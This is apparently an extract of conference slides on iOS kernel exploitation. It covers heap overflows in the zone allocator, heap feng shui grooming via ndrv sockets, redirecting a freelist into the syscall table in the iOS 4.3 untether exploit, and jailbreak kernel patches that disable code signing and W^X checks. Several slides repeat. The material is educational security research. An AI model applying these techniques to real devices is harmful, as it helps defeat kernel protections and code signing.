• impact and further exploitation depends on the overwritten data structure
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Exploiting Heap Overflows in Zone Memory

attacking inbound freelist of zone allocator

• carefully crafting allocations / deallocations

• free block is behind overflowing block

• overflow allows to control next pointer in freelist

• when this free block is used head of freelist is controlled

• next allocation will return attacker supplied memory address

• we can write any data anywhere
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Kernel Heap Feng Shui

Heap Feng Shui

• term created by Alex Sotirov

• the art of carefully crafting allocations / deallocations

• heap is usually randomly used but deterministic

• position of allocated / free blocks is unknown

• goal is to get heap into a controlled state
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Kernel Heap Feng Shui - Heap Manipulation

• we need heap manipulation primitives

• allocation of a block of specific size

• deallocation of a block

• for our demo vulnerability this is easy

• allocation of kernel heap by connecting to a ndrv socket

• length of socket name controls size of allocated heap block

• deallocation of kernel heap by closing a socket
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Kernel Heap Feng Shui

Heap Feng Shui

• allocation is repeated often enough so that all holes are closed

• and repeated a bit more so that we have consecutive memory blocks

• now deallocation can poke holes

• next allocation will be into a hole

• so that buffer overflow can be controlled
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• and repeated a bit more so that we have consecutive memory blocks

• now deallocation can poke holes

• next allocation will be into a hole
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Kernel Heap Feng Shui

Heap Feng Shui
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• and repeated a bit more so that we have consecutive memory blocks
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Kernel Heap Feng Shui
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Kernel Heap Feng Shui
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Kernel Heap Feng Shui

Heap Feng Shui

• allocation is repeated often enough so that all holes are closed

• and repeated a bit more so that we have consecutive memory blocks

• now deallocation can poke holes

• next allocation will be into a hole

• so that buffer overflow can be controlled
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Kernel Heap Feng Shui

Heap Feng Shui

• allocation is repeated often enough so that all holes are closed

• and repeated a bit more so that we have consecutive memory blocks

• now deallocation can poke holes

• next allocation will be into a hole

• so that buffer overflow can be controlled
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Kernel Heap Feng Shui

Heap Feng Shui

• allocation is repeated often enough so that all holes are closed

• and repeated a bit more so that we have consecutive memory blocks

• now deallocation can poke holes

• next allocation will be into a hole

• so that buffer overflow can be controlled
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Current Heap State - A Gift by iOS

• technique does work without 
knowing the heap state

• heap filling is just repeated 
often enough

• but how often is enough?

• iOS has a gift for us:
host_zone_info() mach call

• call makes number of holes in 
kernel zone available to user
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/*
 * Returns information about the memory allocation zones.
 *      Supported in all kernels..
 */
routine host_zone_info(
  host  : host_t;
 out names  : zone_name_array_t,
     Dealloc;
 out info  : zone_info_array_t,
     Dealloc);

typedef struct zone_info {
    integer_t   zi_count;   /* Number of elements used now */
    vm_size_t   zi_cur_size;    /* current memory utilization */
    vm_size_t   zi_max_size;    /* how large can this zone grow */
    vm_size_t   zi_elem_size;   /* size of an element */
    vm_size_t   zi_alloc_size;  /* size used for more memory */
    integer_t   zi_pageable;    /* zone pageable? */
    integer_t   zi_sleepable;   /* sleep if empty? */
    integer_t   zi_exhaustible; /* merely return if empty? */
    integer_t   zi_collectable; /* garbage collect elements? */
} zone_info_t;
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From Heap Overflow to Code Execution

• in the iOS 4.3.1-4.3.3 untether exploit the freelist is overwritten

• head of freelist is replaced with an address pointing into syscall table

• next attacker controlled allocation is inside syscall table

• attacker controlled data replaces syscall 207 handler

• call of syscall 207 allows arbitrary control
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Part V

Jailbreaker‘s Kernel Patches

89
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Patching the Kernel

• What do jailbreaks patch in the kernel?

• What patches are required?

• What patches are optional?
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What do Jailbreaks patch?

• repair any kernel memory corruption caused by exploit

• disable security features of iOS in order to jailbreak

• exact patches depend on the group releasing the jailbreak

• most groups rely on a list of patches generated by comex

➡ https://github.com/comex/datautils0/blob/master/make_kernel_patchfile.c
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https://github.com/comex/datautils0/blob/master/make_kernel_patchfile.c
https://github.com/comex/datautils0/blob/master/make_kernel_patchfile.c
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Restrictions and Code Signing

proc_enforce

• sysctl variable controlling different process management enforcements

• disabled allows debugging and execution of wrongly signed binaries

• nowadays write protected from “root“

cs_enforcement_disable

• boot-arg that disables codesigning enforcement

• enabled allows to get around codesigning
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PE_i_can_has_debugger

93

variable
patched to 1

   * AMFI will allow non signed binaries

   * disables various checks

   * used inside the kernel debugger

   * in older jailbreaks replaced by RETURN(1)
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vm_map_enter

94

replaced with NOP

   * vm_map_enter disallows pages with both
     VM_PROT_WRITE and VM_PROT_EXECUTE

   * when found VM_PROT_EXECUTE is cleared

   * patch just NOPs out the check
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vm_map_protect
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replaced with NOP

   * vm_map_protect disallows pages with both
     VM_PROT_WRITE and VM_PROT_EXECUTE

   * when found VM_PROT_EXECUTE is cleared

   * patch NOPs out the bit clearing
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Questions

?
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Feedback-Reminder

Please fill out the 

feedback form
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